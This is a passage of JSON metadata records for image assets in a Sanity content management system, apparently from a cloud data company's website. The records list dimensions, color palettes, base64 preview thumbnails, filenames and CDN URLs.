BF75pZp2rZpKTgMTR4qGV7zjoTphpszC5Hc8Bax1+b2WsdUXvlxKcIc7jXCAS7Uhfv99ianYiquEpBW9B2Bm97wXRVzwqu7A0LcHfv+OM/rfLzve9jNi5qI3Z2HYa951JruypKw9/34OM69Vgf+A4sdYTHu8Hf2AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c343c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#681d54","foreground":"#fff","population":0.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a94a97","foreground":"#fff","population":0.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0afb0","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d6a2cc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#447c44","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a94a97","foreground":"#fff","population":0.59,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3e111ddf644febbeb2d682b03ab1a9d3d0dbe995-750x402.png","path":"images/sczeoy4w/production/3e111ddf644febbeb2d682b03ab1a9d3d0dbe995-750x402.png","sha1hash":"3e111ddf644febbeb2d682b03ab1a9d3d0dbe995","size":46791,"uploadId":"2C6HhLiTZs32CtWkE4foS2SQ4peWwKX2","url":"https://cdn.sanity.io/images/sczeoy4w/production/3e111ddf644febbeb2d682b03ab1a9d3d0dbe995-750x402.png"} {"_createdAt":"2023-12-14T13:20:44Z","_id":"image-3e7788f4110b896e99d938674d1636e12ef9dca3-6408x4272-jpg","_rev":"sg5cBJWkRHo7pkcz4Ge1PX","_type":"sanity.imageAsset","_updatedAt":"2023-12-14T13:20:44Z","assetId":"3e7788f4110b896e99d938674d1636e12ef9dca3","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":4272,"width":6408},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAcEBQb/xAAhEAACAgICAwADAAAAAAAAAAABAgMEAAUGERITUQchMf/EABYBAQEBAAAAAAAAAAAAAAAAAAMCBP/EAB0RAAAGAwEAAAAAAAAAAAAAAAABAgMREhNRocH/2gAMAwEAAhEDEQA/AMhwLTcTttsJpFrlnZRDHJ+vD713kz8k6zjlOjr6ArV0979mzH15oB9GKPTTyRurBj5L/D3ltszLsZo2sys3ghIGajcSTVJ56AJErtAYsG/4ZUgirsarepQgJq9kgfThifs1lWYjsnDBxt7F5V6H/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#212a35","foreground":"#fff","population":4.5,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a317c","foreground":"#fff","population":2.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3162b8","foreground":"#fff","population":5.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1c1cc","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#aed0f8","foreground":"#000","population":0.92,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a57258","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3162b8","foreground":"#fff","population":5.54,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven Live Elena on stage.jpeg","path":"images/sczeoy4w/production/3e7788f4110b896e99d938674d1636e12ef9dca3-6408x4272.jpg","sha1hash":"3e7788f4110b896e99d938674d1636e12ef9dca3","size":3487188,"uploadId":"GmyBnAZFhTLhyXg0keYR1xANS5Mc0mmC","url":"https://cdn.sanity.io/images/sczeoy4w/production/3e7788f4110b896e99d938674d1636e12ef9dca3-6408x4272.jpg"} {"_createdAt":"2022-06-15T20:01:43Z","_id":"image-3eced11421a35481f2f8341eda9d2b68f9beee05-752x405-png","_rev":"QRl2cGoCgj0FlAhkRrhYGx","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:16Z","assetId":"3eced11421a35481f2f8341eda9d2b68f9beee05","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCRfnGRQ?Jxt~q-qoIt6e;NF~X%MS0M{My","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB6klEQVQokT3PyW7bMBCAYb//4yRAckpOgXtp3CAu6ngRLWojJVKUuS8i6YIp0B9zG3zAzCbnHNd1tcYrbXTJObeWvPPWeWe9U1pJJY3R3pdVCCHGmHPepJyjtQEN4gr6uq5hjTHWRkstJobpQuaFjhPGI57IyPnNeee9DyHknDYxpdUa07Xz+Vifz+fLZRgGpSTjFGLQjU2HG9iCpoNNC8dx1EZbVy6KMRbsrCUYNdcSAAAjrLW+KQbHCuKq7quqOcPu2vYNHjHnXBv9H0eldQXA+273vvv1+flZ17VUUhjekitAJ9CfqvYE++tI8DwTtjCppP+H17gKKfb7/dPT08PDw+vr6+8/e7LgRZGGVpfhAIYjRACRfl4IncsIyZ2zBYc1CFHw8/Pz4+Pjy8vL7uMnxADdmoZeGgJ6CvHc0ds4MYymgdBJKm6dXmPYhBCEFF9fX9vt9u3tbftj+/HxC/Zg5B2RaFF0FlMZTvqp6cf2xpl12gWzxrWcbZ1FCJ1Op8PhcDweq6oaJ6ysdMEap5iiN81mPjUYINobo8LqQ/QxxU36zjnHOWeMcc6llNaWl1JM2kkiMFOU3PAVnRHtjFUxrSnHfM+bnPP9fs85p5QK+C5/F2PkZhkYnASaFgSGYzvV0oiY4v1e1F+tBmFDEdhwJwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c444c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#66311e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bdc6b9","foreground":"#000","population":4.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bdc6b9","foreground":"#000","population":4.24,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4ece4","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae6767","foreground":"#fff","population":0.33,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d18164","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3eced11421a35481f2f8341eda9d2b68f9beee05-752x405.png","path":"images/sczeoy4w/production/3eced11421a35481f2f8341eda9d2b68f9beee05-752x405.png","sha1hash":"3eced11421a35481f2f8341eda9d2b68f9beee05","size":117973,"uploadId":"Qv3a3A3k0zIc99lqqOT6NaViWTAgLoKA","url":"https://cdn.sanity.io/images/sczeoy4w/production/3eced11421a35481f2f8341eda9d2b68f9beee05-752x405.png"} {"_createdAt":"2023-01-31T10:39:49Z","_id":"image-3ecffe6cd535abc5f3d38a2f6a2a79db4a5967dc-2000x692-png","_rev":"iop8tFFqgfe67JrEak2cVJ","_type":"sanity.imageAsset","_updatedAt":"2023-01-31T10:50:57Z","altText":null,"assetId":"3ecffe6cd535abc5f3d38a2f6a2a79db4a5967dc","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.8901734104046244,"height":692,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA8ElEQVQYlS2Q2XJDMQhD/f+f2iTXG4tY7HTsVk8M6DCCQiRzEpEwa23989TWxiRWmAju6NQs+Hm319NJTOCszopyfArAWfSprbZGLDB3DxFlFsAiUtTfn/76NGKIBYmTWGFR94hIVYwxmSUi1tp5O6rIzLU2LFqnWqeowZIRrF5UEXEMIuhjimjm2ntnrJvIDru2eYzJfTCxippaqEVR3N0Xbq0zyz+cCzAzX0cHbp2e2muffZDoubwA5pERC/DzG8Xx7u9a+++cffT1yD6ottEG9XHewmoF5ieDp3ne/Mf9vbrYf+2RY3Lrc5Kw4CCIX4qOlkfenRsVAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#666568","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d4766","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b2c3d6","foreground":"#000","population":0.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b2c3d6","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4dcee","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c797e","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3989c5","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"blog-kafka-mastodon-2-table.png","path":"images/sczeoy4w/production/3ecffe6cd535abc5f3d38a2f6a2a79db4a5967dc-2000x692.png","sha1hash":"3ecffe6cd535abc5f3d38a2f6a2a79db4a5967dc","size":78023,"title":null,"uploadId":"njW8enpBDNYcFjotkULTseO1AEyIOdJx","url":"https://cdn.sanity.io/images/sczeoy4w/production/3ecffe6cd535abc5f3d38a2f6a2a79db4a5967dc-2000x692.png"} {"_createdAt":"2024-03-05T10:04:05Z","_id":"image-3f277df47d3106ee21ffec73f39e824136571507-454x100-svg","_rev":"XLEaM1ZFR5SqX0P174xil3","_type":"sanity.imageAsset","_updatedAt":"2024-03-05T10:04:05Z","assetId":"3f277df47d3106ee21ffec73f39e824136571507","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DP0e@vg+emd:e6f.fifhf4e-","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.54,"height":100,"width":454},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAABJ0lEQVQYlS3PzyuDcRwH8Kfv9/t+LoTxbJkWCaV4P2vyY22Ynw+2pMjJCuXmsH+AOchJkpw/y2n5cVhxEAdaXNSupjiI5O/Qkx3e9X5f3vWyEDszJnNjm7WHLr31vKRzlazaeZ1Xh5/96uAjhPGLoE3pgFuIgBIExQElBEobKGFQWkBpACUASpOFeNExXqnTrN7H9eZTWucqiypf9dTR15DarXYjURwAJQ23MA/KNCgeKHOgZEBZAGUYlD5QEqCMWkieh4xXolm+HdMb5aTOVQbV3ltMHX+7av+9B6nLqO2fuIVZUCZqpzOgTIEyCUoMlF5QRvxtmdQVTPo6bFbuonq9HNXbL+0qXw2o099WdfITMdlHx/5nNoPS6LNqPL/7qQelrsZ2/gBbQVp0bAydCAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414b64","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041484","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0a8ce2","foreground":"#fff","population":0.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#065a92","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#80c9f9","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c7e9e","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a8ce2","foreground":"#fff","population":0.25,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-sway-ai.svg","path":"images/sczeoy4w/production/3f277df47d3106ee21ffec73f39e824136571507-454x100.svg","sha1hash":"3f277df47d3106ee21ffec73f39e824136571507","size":9815,"uploadId":"sTkYBKxzqoSg2GoIwW4hO8pXmfhYozV2","url":"https://cdn.sanity.io/images/sczeoy4w/production/3f277df47d3106ee21ffec73f39e824136571507-454x100.svg"} {"_createdAt":"2024-03-05T16:03:22Z","_id":"image-3f2f603440268b4ccf241152198fbb0b89335428-3840x2160-jpg","_rev":"0eA6L3dX7aeuXacPmi5Qk8","_type":"sanity.imageAsset","_updatedAt":"2024-03-05T16:03:22Z","assetId":"3f2f603440268b4ccf241152198fbb0b89335428","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MFAd7mITflD%RP~qM_bHM{WBI8R+WVxukD","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":2160,"width":3840},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMHCP/EACEQAAICAgEEAwAAAAAAAAAAAAECAxEABQQGEiEiFFFx/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgAB/8QAGhEAAgIDAAAAAAAAAAAAAAAAAAECIRFRYf/aAAwDAQACEQMRAD8AnHS3M1cfFkdtv8UspYki6xGt23CXi8lo9pyRI7V7G7H2Mm6k+Y79CvkY9o1XVI4FN3Vd44S0ix0veq6n0g4EKzO0jqtdwKi8Mzyk0iilcgfuGJuLsyz/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4e6e","foreground":"#fff","population":5.51,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#210a72","foreground":"#fff","population":0.9,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3f4e6e","foreground":"#fff","population":5.51,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcb1a3","foreground":"#000","population":4.79,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6fe0f1","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#677da8","foreground":"#fff","population":1.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#22a5cf","foreground":"#fff","population":0.3,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"First.jpg","path":"images/sczeoy4w/production/3f2f603440268b4ccf241152198fbb0b89335428-3840x2160.jpg","sha1hash":"3f2f603440268b4ccf241152198fbb0b89335428","size":3860076,"uploadId":"TBVvvqXTUeNndcL8hcEVJU7gm7lQF2Ze","url":"https://cdn.sanity.io/images/sczeoy4w/production/3f2f603440268b4ccf241152198fbb0b89335428-3840x2160.jpg"} {"_createdAt":"2023-06-22T12:37:47Z","_id":"image-3f63c5f6218700d4aa789234eab082e1567a16cc-2500x1308-png","_rev":"cqvm9OyFe0fWiVJwD7369R","_type":"sanity.imageAsset","_updatedAt":"2023-06-22T12:37:47Z","assetId":"3f63c5f6218700d4aa789234eab082e1567a16cc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M86R{3_3MxIURj_4%gM{M{azM{RPaftRt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABxElEQVQokWWR7U/TQByA21uvZEqcsMnbF3z9QO9uFOLW4SiSDMqM6LYYgzFMonIv7dZ2vJjgNAQ1ihkENoz13zXXGQKYPLnch3t+z+VO0TAfssKJxx/G7N3M3NbIo+3xhd3R4k6m0EoXWsNWmLbC4XyQND2AuGKwS1w3vanV/cWNY7t+ZL06nF/vlN6dlN6e2Oud/NqP3MvvhbXDbOXLyPwOxEK9Ig/ONqerX8us94SflVnvqTirNKNaEK3Q7uLG8fLmqV3v3F/5dCMXAPxf+dpMY2p1f+n96bPG76ofVf2oFvyp+ZFd78y++FZ8/ZM8P0jlgvM7qxflpNl4UP688ObIoV2H9mTc/eXQLqkcjBa3bxVaqYc+JKJ/GhgsYbAEYiBGgcRNz21NlvbuOu07y+3bSx/vOe3J0t6QFUIiQJzq11SDaQbTEYOISjBVVINrmEMi9Jj+BmIBEJca4iriikRmocF0g2qIaliiAIMNYJbMCj3r/hMu1BQkVOyqWKjxOA1xKMsM9uUBRDMmG7f8m1YIp91L74G4dIgLpC9XgN0EdjUsNMIhYYqOaNqkY1YzlQ9h1r3yGQDxROyrxDv341keIN5f4mSSwk9Tz8EAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#355071","foreground":"#fff","population":0.42,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":63.99,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":63.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8e9fbf","foreground":"#000","population":0.72,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cec9f6","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b14c53","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c64b4","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Add_caching_to_your_PostgreSQL®_app_using_Redis®_social_media.png","path":"images/sczeoy4w/production/3f63c5f6218700d4aa789234eab082e1567a16cc-2500x1308.png","sha1hash":"3f63c5f6218700d4aa789234eab082e1567a16cc","size":38228,"uploadId":"Wvg5x6FpsNmM3iXIXpgAN6TEsdu69cPy","url":"https://cdn.sanity.io/images/sczeoy4w/production/3f63c5f6218700d4aa789234eab082e1567a16cc-2500x1308.png"} {"_createdAt":"2022-09-19T17:34:41Z","_id":"image-3f70730ff029c0119a00f23ccc66dba3d2aaa2cc-690x413-png","_rev":"OFlS64pMvIisdGKtV7rOtl","_type":"sanity.imageAsset","_updatedAt":"2022-09-19T17:34:41Z","assetId":"3f70730ff029c0119a00f23ccc66dba3d2aaa2cc","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAABD0lEQVQoka1TyUoDURCsidG4BBQEwYWIkosXEQT3DU8uJ0UJBj9g6v/vXfIyNZKEFzMHG4p+VPdUN909wL8bNYXI+Po9AxP2V2JOsEzIFQiLV0Qb1AqoDqhidte1oJGLW2wfjAtQx6A2wVgHtQFq1YXW7Lvmuy6+CGrJWKgFU/AKjCEYA1DnYJyBegR1XcV0C+oG1AMY96AuQZ2AOq3yR+/dUXPuIgU+QH35wztQ76CGoL5BfYIagJH8K6hnUE+g3ipeL6COwOjArW5bNGEHjC1QBx5Bqt4HdWhuz+iZ64PR8yha9XDb7nQZpVrmCvNpTsXkEsYWUU4tqNnZzMsZF/w9g8icw7wDz3DN/4Bm9gNM/ywlFd1XIQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#37375d","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042393","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0765f7","foreground":"#fff","population":2.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#043c94","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7eaffb","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#043c94","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0765f7","foreground":"#fff","population":2.31,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"digital-ocean-690x413.png","path":"images/sczeoy4w/production/3f70730ff029c0119a00f23ccc66dba3d2aaa2cc-690x413.png","sha1hash":"3f70730ff029c0119a00f23ccc66dba3d2aaa2cc","size":9402,"uploadId":"91y6bQRM6wVt5wm9Dzjh8968cz65KHtP","url":"https://cdn.sanity.io/images/sczeoy4w/production/3f70730ff029c0119a00f23ccc66dba3d2aaa2cc-690x413.png"} {"_createdAt":"2023-02-09T06:16:30Z","_id":"image-3f7239c9e5196147285ebcf6a5b536652ea14c05-1567x844-jpg","_rev":"qBG5W2UzMHRLoCg3nAEmGl","_type":"sanity.imageAsset","_updatedAt":"2023-02-09T06:16:30Z","assetId":"3f7239c9e5196147285ebcf6a5b536652ea14c05","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"McPZT4?wOsQ,-p%MInt7ofWoO@eTn4b^WX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABgAFCP/EACUQAAEDAwQABwAAAAAAAAAAAAEAAgMEBREGBxIxISJBQmKx0f/EABUBAQEAAAAAAAAAAAAAAAAAAAMC/8QAHREAAgIDAAMAAAAAAAAAAAAAAQIAEQMSITHh8P/aAAwDAQACEQMRAD8A6KdStJJ5yePyQzVt0uFPWOobc6RvFnMvzk5/E2g93faG7kk09KyWE8JHNc0uHZCnMjOBqao/CJhdUJ2W+V7m1pi6m42eGepka2ceSQA+oUh237iNPjB7lcfpSUeIbHYkjk//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e2c21","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7e3c05","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f47a16","foreground":"#fff","population":2.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0d0d4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbe6f","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c9c9c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f47a16","foreground":"#fff","population":2.96,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"From_our_CTO_to_yours_blog.jpg","path":"images/sczeoy4w/production/3f7239c9e5196147285ebcf6a5b536652ea14c05-1567x844.jpg","sha1hash":"3f7239c9e5196147285ebcf6a5b536652ea14c05","size":150206,"uploadId":"grK6rCgZoqFmESkbGsL2S9hUn7Eikd96","url":"https://cdn.sanity.io/images/sczeoy4w/production/3f7239c9e5196147285ebcf6a5b536652ea14c05-1567x844.jpg"} {"_createdAt":"2022-06-30T20:10:04Z","_id":"image-3fac12c342aef47889389e8f1dbb8f53f16f3e47-1567x844-png","_rev":"sI1gFaRN7B5HWmjllABDrd","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:37Z","assetId":"3fac12c342aef47889389e8f1dbb8f53f16f3e47","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDEw]|$z0JVv*y2[E%+vskEy0{$h}Fxux^","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADS0lEQVQokUWSW0wTeRjFv5lKS61gxBuKq2I0pdf5VwZ6sdthphQFgoq4YiyQVaNSXYiueAkoguAFgTqdizMtAQ0mRMULrErMigVUdk0MJprog/HJ3QeND+66CtFEZ9N6O8l5OskvJycHCIJQI4SmEASRjBCajBBS5RcUQExl5RXQzvKgAMB9AHgIAC9jgaKAKEcgJMrASWHgRTluTpAAvkBmIoTmIIRSvN5cTZDlVaIUwVlOxHhBwsJNLVh31T6sJ1CDddfUY3JLEOMEKZZB3F+AvCADEAQxCSGkRQjpEEKJlYEdak6QEgVBUvPhCC41HVf9Tq2Zdptaa73LrHOOuIv1AzklU9hTYVwMiZh4kv8OFD83BKfTCSRJAk15YrVVvCBppVBIc/Y0r+r9tWbSEJmP7tiL2u+6VvWPkAX7btqWp7dFOnCpJYhLR1uB48RvjgODLB/frLo5HAdyopzYxnUlwAMF27J6L37L7PUMW3OjI4TvnyGz98ygxWtmpTAeqW3EpZ374amiwI0//oRgbcNnoM+XBwzDwDn/PGDFTpXMnUx8dHhF0ruD9tS3VUUL7pO+4mEDNTqUQf0XzaC6b5kZU76iwKnfrmK9Y2PwVZcUBWCiMAv66GVQ7nDA+fUpcEy+rOoJ7te9rk03f9xjrP4YYI7/RS8XRo05j6N6z5vBDM+FXiudy9JF6UFnXuoRg12tKAo8GrgJjYuXAoyvQtBHkbDeRsT+APUdo3h/a6VufO/MvE9V8298qsh6/or2jt0z0c+jes+/1/Tu22GTW2gn6RMnrO6NTelEWgw4GjkDDfOMABMF2ap+jyPBT5IJrkwDXlZ3FYu2+jUTu6e6Pmyb3fW+1HznJUVdvGdhrg8acoYv65ddYI3ZF49ZHANHMrIONi6wLuoLXYHOyp3QkGYEGF9pS+qjsmdtIDOnGwhCy/xYiD2RK/DXu1JmvdicmvP3T4Y1z7y0b9heWHiNXFHcY6Pz2xzOtU12h7/Rku06tBAlV7h5OFBaBg0/mADGS0zJV5ilszdk2WborUibm2nDYgOf22rC5PIlGtFv0J3euFLTuX23tm3TL7r6rZu0zYdKk5rrSpLrAuvUlfafIW3uEFQHtsNhiwv+ByMgPALmSpRwAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#673936","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c9008","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb6b11","foreground":"#fff","population":1.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bc949c","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc8c9c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#976748","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb6b11","foreground":"#fff","population":1.43,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3fac12c342aef47889389e8f1dbb8f53f16f3e47-1567x844.png","path":"images/sczeoy4w/production/3fac12c342aef47889389e8f1dbb8f53f16f3e47-1567x844.png","sha1hash":"3fac12c342aef47889389e8f1dbb8f53f16f3e47","size":36941,"uploadId":"d6A7h2FoM1VRPvCEb5KJWMp0e4UFL5e8","url":"https://cdn.sanity.io/images/sczeoy4w/production/3fac12c342aef47889389e8f1dbb8f53f16f3e47-1567x844.png"} 